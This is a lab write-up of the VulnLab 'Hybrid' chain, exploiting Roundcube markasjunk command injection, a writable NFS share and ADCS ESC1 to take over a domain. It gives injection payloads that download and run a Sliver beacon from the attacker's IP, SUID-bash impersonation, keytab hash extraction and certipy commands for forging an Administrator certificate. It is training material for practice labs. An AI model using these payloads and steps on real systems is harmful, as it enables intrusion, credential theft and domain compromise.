Vulnlab - Hybrid Writeup

Liam Geyer

👾 Machine Overview

Thumbnail

This is a writeup of the chain Hybrid from VulnLab , it’s an easy difficulty chain with both a Windows and Linux machine. This chain featured a Roundcube CVE, and a fun twist on ESC1.

🔍 Enumeration

An initial nmap scan of the host gave the following results:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
Nmap scan report for 10.10.130.213
Host is up (0.10s latency).
Not shown: 992 filtered tcp ports (no-response)
PORT STATE SERVICE VERSION
88/tcp open kerberos-sec Microsoft Windows Kerberos (server time: 2024-12-06 00:29:19Z)
135/tcp open msrpc Microsoft Windows RPC
389/tcp open ldap Microsoft Windows Active Directory LDAP (Domain: hybrid.vl0., Site: Default-First-Site-Name)
|_ssl-date: TLS randomness does not represent time
| ssl-cert: Subject: commonName=dc01.hybrid.vl
| Subject Alternative Name: othername: 1.3.6.1.4.1.311.25.1::<unsupported>, DNS:dc01.hybrid.vl
| Not valid before: 2024-07-17T16:39:23
|_Not valid after: 2025-07-17T16:39:23
464/tcp open kpasswd5?
593/tcp open ncacn_http Microsoft Windows RPC over HTTP 1.0
636/tcp open ssl/ldap Microsoft Windows Active Directory LDAP (Domain: hybrid.vl0., Site: Default-First-Site-Name)
| ssl-cert: Subject: commonName=dc01.hybrid.vl
| Subject Alternative Name: othername: 1.3.6.1.4.1.311.25.1::<unsupported>, DNS:dc01.hybrid.vl
| Not valid before: 2024-07-17T16:39:23
|_Not valid after: 2025-07-17T16:39:23
|_ssl-date: TLS randomness does not represent time
3268/tcp open ldap Microsoft Windows Active Directory LDAP (Domain: hybrid.vl0., Site: Default-First-Site-Name)
| ssl-cert: Subject: commonName=dc01.hybrid.vl
| Subject Alternative Name: othername: 1.3.6.1.4.1.311.25.1::<unsupported>, DNS:dc01.hybrid.vl
| Not valid before: 2024-07-17T16:39:23
|_Not valid after: 2025-07-17T16:39:23
|_ssl-date: TLS randomness does not represent time
3269/tcp open ssl/ldap Microsoft Windows Active Directory LDAP (Domain: hybrid.vl0., Site: Default-First-Site-Name)
| ssl-cert: Subject: commonName=dc01.hybrid.vl
| Subject Alternative Name: othername: 1.3.6.1.4.1.311.25.1::<unsupported>, DNS:dc01.hybrid.vl
| Not valid before: 2024-07-17T16:39:23
|_Not valid after: 2025-07-17T16:39:23
|_ssl-date: TLS randomness does not represent time
Service Info: Host: DC01; OS: Windows; CPE: cpe:/o:microsoft:windows

Nmap scan report for 10.10.130.214
Host is up (0.10s latency).
Not shown: 990 closed tcp ports (conn-refused)
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 8.9p1 Ubuntu 3ubuntu0.1 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 256 60:bc:22:26:78:3c:b4:e0:6b:ea:aa:1e:c1:62:5d:de (ECDSA)
|_ 256 a3:b5:d8:61:06:e6:3a:41:88:45:e3:52:03:d2:23:1b (ED25519)
25/tcp open smtp Postfix smtpd
|_smtp-commands: mail01.hybrid.vl, PIPELINING, SIZE 10240000, VRFY, ETRN, STARTTLS, AUTH PLAIN LOGIN, ENHANCEDSTATUSCODES, 8BITMIME, DSN, CHUNKING
80/tcp open http nginx 1.18.0 (Ubuntu)
|_http-title: Redirecting...
|_http-server-header: nginx/1.18.0 (Ubuntu)
110/tcp open pop3 Dovecot pop3d
|_ssl-date: TLS randomness does not represent time
| ssl-cert: Subject: commonName=mail01
| Subject Alternative Name: DNS:mail01
| Not valid before: 2023-06-17T13:20:17
|_Not valid after: 2033-06-14T13:20:17
|_pop3-capabilities: STLS SASL AUTH-RESP-CODE UIDL TOP CAPA RESP-CODES PIPELINING
111/tcp open rpcbind 2-4 (RPC #100000)
| rpcinfo:
| program version port/proto service
| 100000 2,3,4 111/tcp rpcbind
| 100000 2,3,4 111/udp rpcbind
| 100000 3,4 111/tcp6 rpcbind
| 100000 3,4 111/udp6 rpcbind
| 100003 3,4 2049/tcp nfs
| 100003 3,4 2049/tcp6 nfs
| 100005 1,2,3 32920/udp6 mountd
| 100005 1,2,3 52281/tcp mountd
| 100005 1,2,3 57191/tcp6 mountd
| 100005 1,2,3 57525/udp mountd
| 100021 1,3,4 34023/tcp nlockmgr
| 100021 1,3,4 34935/udp6 nlockmgr
| 100021 1,3,4 42359/tcp6 nlockmgr
| 100021 1,3,4 42724/udp nlockmgr
| 100227 3 2049/tcp nfs_acl
|_ 100227 3 2049/tcp6 nfs_acl
143/tcp open imap Dovecot imapd (Ubuntu)
|_ssl-date: TLS randomness does not represent time
|_imap-capabilities: SASL-IR ID more listed have IDLE IMAP4rev1 ENABLE LITERAL+ post-login capabilities Pre-login OK LOGIN-REFERRALS STARTTLS LOGINDISABLEDA0001
| ssl-cert: Subject: commonName=mail01
| Subject Alternative Name: DNS:mail01
| Not valid before: 2023-06-17T13:20:17
|_Not valid after: 2033-06-14T13:20:17
587/tcp open smtp Postfix smtpd
|_smtp-commands: mail01.hybrid.vl, PIPELINING, SIZE 10240000, VRFY, ETRN, STARTTLS, AUTH PLAIN LOGIN, ENHANCEDSTATUSCODES, 8BITMIME, DSN, CHUNKING
993/tcp open ssl/imap Dovecot imapd (Ubuntu)
|_ssl-date: TLS randomness does not represent time
| ssl-cert: Subject: commonName=mail01
| Subject Alternative Name: DNS:mail01
| Not valid before: 2023-06-17T13:20:17
|_Not valid after: 2033-06-14T13:20:17
|_imap-capabilities: SASL-IR ID more listed AUTH=LOGINA0001 IDLE AUTH=PLAIN ENABLE LITERAL+ have post-login capabilities Pre-login LOGIN-REFERRALS IMAP4rev1 OK
995/tcp open ssl/pop3 Dovecot pop3d
|_ssl-date: TLS randomness does not represent time
|_pop3-capabilities: USER SASL(PLAIN LOGIN) AUTH-RESP-CODE UIDL TOP CAPA RESP-CODES PIPELINING
| ssl-cert: Subject: commonName=mail01
| Subject Alternative Name: DNS:mail01
| Not valid before: 2023-06-17T13:20:17
|_Not valid after: 2033-06-14T13:20:17
2049/tcp open nfs_acl 3 (RPC #100227)
Service Info: Host: mail01.hybrid.vl; OS: Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 2 IP addresses (2 hosts up) scanned in 131.65 seconds

📂 NFS

I started off by investigating NFS on mail01.hybrid.vl, to see if anything was interesting/mountable. Using showmount, we can enumerate the exports for the box:

1
2
3
❯showmount -e mail01.hybrid.vl
Export list for mail01.hybrid.vl:
/opt/share *

We’re able to mount the /opt/share folder:

1
2
3
4
5
sudo mount -t nfs mail01.hybrid.vl:/opt/share ./nfs
cd nfs
ls
backup.tar.gz
cp ./backup.tar.gz ../

There’s a backup archive that I copied off the host to investigate.

Within this backup, there’s certificates for the hybrid.vl domain, and credentials for dovecot.

📧 Roundcube

Browsing to http://mail01.hybrid.vl, we’re presented with a login page for Roundcube webmail where we can reuse the admin and peter credentials from the NFS backup.

Roundcube Login Page

Logging in, we’re greeted with a normal webmail dashboard. There’s an “About” option in the bottom lefthand corner which displays information about the Roundcube version, and the version of installed plugins.

Roundcube Version

There’s also an email to [email protected] referencing the junk filter plugin, markasjunk.

Junk Plugin Email

Researching Roundcube 1.6.1, and markasjunk 2.0, I found this article with a command injection vulnerability in the markasjunk plugin.

This is a command injection vulnerability that allows you to embed a payload within an email that’ll get executed when it’s flagged as junk.

First to input the payload head to Settings > Identities > Email. I started out with the test payload admin&curl${IFS}[IP]&hybrid.vl. I hosted a simple Python webserver on port 80 because I wasn’t able to get colons to work.

Payload

Next to trigger the command browse to an email, such as the “New Spam Plugin” email from earler, and flag it as junk.

Flag as Junk

My test payload worked, and I was successfully able to get a callback from Roundcube.

1
2
3
sudo python3 -m http.server 80
Serving HTTP on 0.0.0.0 port 80 (http://0.0.0.0:80/) ...
10.10.130.214 - - [05/Dec/2024 20:04:19] "GET / HTTP/1.1" 200 -

To trigger a new payload, change the email, and then flag/unflag something as junk.

I used the following 3 payloads to download, modify, and execute a sliver beacon.

  1. admin&wget${IFS}[IP]/wizard101&@hybrid.vl
  2. admin&chmod${IFS}+x${IFS}wizard101&@hybrid.vl
  3. admin&wizard101&@hybrid.vl

Sliver Beacon

Yippee!

📂 NFS (Round Two)

Now as www-data I ran linpeas, checked out running processes, looked for interesting loot or tickets, and found nothing.

I decided to check out /etc/exports to get some more information on the NFS share we initially pulled Roundcube creds from.

1
2
3
4
5
6
7
8
9
10
11
12
www-data@mail01:/opt/share$ cat /etc/exports 
# /etc/exports: the access control list for filesystems which may be exported
# to NFS clients. See exports(5).
#
# Example for NFSv2 and NFSv3:
# /srv/homes hostname1(rw,sync,no_subtree_check) hostname2(ro,sync,no_subtree_check)
#
# Example for NFSv4:
# /srv/nfs4 gss/krb5i(rw,sync,fsid=0,crossmnt,no_subtree_check)
# /srv/nfs4/homes gss/krb5i(rw,sync,no_subtree_check)
#
/opt/share *(rw,no_subtree_check)

It looks like we have both read and write access to the share we previously accessed. This can be used to impersonate another user on the box by dropping bash owned by someone with the target user’s UID, and SUID set.

Since the share doesn’t have no_root_squash set, we can’t do this to the root user. To find a target we can checkout /etc/passwd or /home/, and find [email protected], a domain user.

We can run id to find out Peter’s UID to copy on our box.

1
2
www-data@mail01:/opt/share$ id [email protected]
uid=902601108([email protected]) gid=902600513(domain users@hybrid.vl) groups=902600513(domain users@hybrid.vl),902601104([email protected])

Back on our box, we now need to create a new user with the same UID as Peter.

1
sudo adduser nfs_user sudo sed -i -e 's/1002/902601108/g' /etc/passwd

Now as the new nfs_user we need to copy bash to the nfs share.

1
2
3
4
5
su nfs_user
nfs_user@pablo:/home/lfgberg/vl/hybrid/nfs$ cp ./bash /tmp/
nfs_user@pablo:/home/lfgberg/vl/hybrid/nfs$ rm ./bash
nfs_user@pablo:/home/lfgberg/vl/hybrid/nfs$ cp /tmp/bash ./
nfs_user@pablo:/home/lfgberg/vl/hybrid/nfs$ chmod +xs ./bash

Now back on mail01 as www-data, we can run bash -p on the binary we copied over to get a shell as Peter, grabbing the flag and a Keepass database.

👷‍♂ Peter

I started off by trying to crack the hash on the Keepass database, using keepass2john to get a hash. This didn’t end up working, but we can reuse the Roundcube credentials to access the passwords with kpcli.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
kpcli:/hybrid.vl> show -f 
domain mail
kpcli:/hybrid.vl> show -f domain

Path: /hybrid.vl/
Title: domain
Uname: peter.turner
Pass: [SNIPPED]
URL:
Notes:

kpcli:/hybrid.vl> show -f mail

Path: /hybrid.vl/
Title: mail
Uname: [email protected]
Pass: [SNIPPED]
URL: http://mail01.hybrid.vl
Notes:

kpcli:/hybrid.vl>

I tested these out on the domain, and they worked! I used them to run bloodhound-python.

1
bloodhound-python -d hybrid.vl -u peter.turner -p '[PASS]' -ns [DC IP] -c all

I didn’t see anything interesting looking through BH, so I checked out SMB on the DC, and tried to remotely access the box.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
❯ smbmap -H [DC IP] -u "peter.turner" -p '[PASS]'

________ ___ ___ _______ ___ ___ __ _______
/" )|" \ /" || _ "\ |" \ /" | /""\ | __ "\
(: \___/ \ \ // |(. |_) :) \ \ // | / \ (. |__) :)
\___ \ /\ \/. ||: \/ /\ \/. | /' /\ \ |: ____/
__/ \ |: \. |(| _ \ |: \. | // __' \ (| /
/" \ :) |. \ /: ||: |_) :)|. \ /: | / / \ \ /|__/ \
(_______/ |___|\__/|___|(_______/ |___|\__/|___|(___/ \___)(_______)
-----------------------------------------------------------------------------
SMBMap - Samba Share Enumerator v1.10.4 | Shawn Evans - [email protected]<mailto:[email protected]>
https://github.com/ShawnDEvans/smbmap

[*] Detected 1 hosts serving SMB
[*] Established 1 SMB connections(s) and 1 authenticated session(s)

[+] IP: 10.10.179.53:445 Name: dc01.hybrid.vl Status: Authenticated
Disk Permissions Comment
---- ----------- -------
ADMIN$ NO ACCESS Remote Admin
C$ NO ACCESS Default share
IPC$ READ ONLY Remote IPC
NETLOGON READ ONLY Logon server share
SYSVOL READ ONLY Logon server share
[*] Closed 1 connections

📈 ADCS

No luck on either, so I ran certipy find to see if there’s any vulnerable certificate templates, since we were able to find a cert in the NFS share previously.

1
certipy find -dc-ip [DC IP] -dc-only -u "[email protected]" -p "[PASS]" -vulnerable

Looking at the output, the HybridComputers template is vulnerable to ESC-1 . Computer accounts are able to enroll and supply the subject, and client authentication is enabled. This means that if we can create or compromise a machine account we’re able to impersonate other users against the DC.

I used netexec to check the MAQ , but sadly it was 0…

1
2
3
4
5
nxc ldap dc01.hybrid.vl -u "peter.turner" -p '[PASS]' -M maq
SMB 10.10.179.53 445 DC01 [*] Windows Server 2022 Build 20348 x64 (name:DC01) (domain:hybrid.vl) (signing:True) (SMBv1:False)
LDAP 10.10.179.53 389 DC01 [+] hybrid.vl\peter.turner:b0cwR+G4Dzl_rw
MAQ 10.10.179.53 389 DC01 [*] Getting the MachineAccountQuota
MAQ 10.10.179.53 389 DC01 MachineAccountQuota: 0

This means that we’re not able to add a new machine account to the domain to exploit the vulnerable HybridComputers template. Instead, we can go back to mail01 and try to compromise its machine account.

I SSH’d into mail01 as Peter, who turned out to be an admin. We’re able to use his account to dump /etc/krb5.keytab which is used to store the credentials for the machine account. I base64 encoded it and dropped it back to my box.

We can use KeyTabExtract to get the NTLM hash of the machine account from the exfiltrated /etc/krb5.ketytab file.

1
2
3
4
5
6
7
8
9
10
❯ python3 keytabextract.py ~/vl/hybrid/krb5.keytab
[*] RC4-HMAC Encryption detected. Will attempt to extract NTLM hash.
[*] AES256-CTS-HMAC-SHA1 key found. Will attempt hash extraction.
[*] AES128-CTS-HMAC-SHA1 hash discovered. Will attempt hash extraction.
[+] Keytab File successfully imported.
REALM : HYBRID.VL
SERVICE PRINCIPAL : MAIL01$/
NTLM HASH : [HASH]
AES-256 HASH : [HASH]
AES-128 HASH : [HASH]

We now own the MAIL01$ account, which we can use on the vulnerable HybridComputers template. I used certipy req to try and request a certificate impersonating the admin, but I initially ran into some issues. This was resolved by specifying -key-size 4096.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
certipy req -u 'MAIL01$'@hybrid.vl -hashes '[HASH]' -ca 'hybrid-DC01-CA' -template HybridComputers -target hybrid.vl -upn '[email protected]' -dns dc01.hybrid.vl -key-size 4096 -debug -dc-ip [DC IP]
Certipy v4.8.2 - by Oliver Lyak (ly4k)

[+] Trying to resolve 'hybrid.vl' at '10.10.179.53'
[+] Generating RSA key
[*] Requesting certificate via RPC
[+] Trying to connect to endpoint: ncacn_np:10.10.179.53[\pipe\cert]
[+] Connected to endpoint: ncacn_np:10.10.179.53[\pipe\cert]
[*] Successfully requested certificate
[*] Request ID is 8
[*] Got certificate with multiple identifications
UPN: '[email protected]'
DNS Host Name: 'dc01.hybrid.vl'
[*] Certificate has no object SID
[*] Saved certificate and private key to 'administrator_dc01.pfx'

Now we can authenticate with the certificate using certipy auth to grab the Administrator’s hash.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
certipy auth -pfx administrator_dc01.pfx -username 'administrator' -domain 'hybrid.vl' -dc-ip [DC IP]
Certipy v4.8.2 - by Oliver Lyak (ly4k)

[*] Found multiple identifications in certificate
[*] Please select one:
[0] UPN: '[email protected]'
[1] DNS Host Name: 'dc01.hybrid.vl'
> 0
[*] Using principal: [email protected]
[*] Trying to get TGT...

[*] Got TGT
[*] Saved credential cache to 'administrator.ccache'
[*] Trying to retrieve NT hash for 'administrator'
[*] Got hash for '[email protected]': [HASH]

YIPPEE! We can use that to WinRM in, and grab the flag.

1
evil-winrm -i [DC IP] -u administrator -H [HASH]

📖 Resources

🔗 Hyperlink ℹ️ Info
Cyberthint Roundcube markasjunk plugin CVE writeup.
Cybersec Notes Exploiting ESC1.
Cybersec Notes Machine Account Quota (MAQ).
KeyTabExtract Tool to extract hashes from /etc/krb5.keytab
  • Title: Vulnlab - Hybrid Writeup
  • Author: Liam Geyer
  • Created at : 2024-12-26 00:00:00
  • Updated at : 2024-12-27 22:33:29
  • Link: https://lfgberg.org/2024/12/26/vulnlab/hybrid/
  • License: This work is licensed under CC BY-NC-SA 4.0.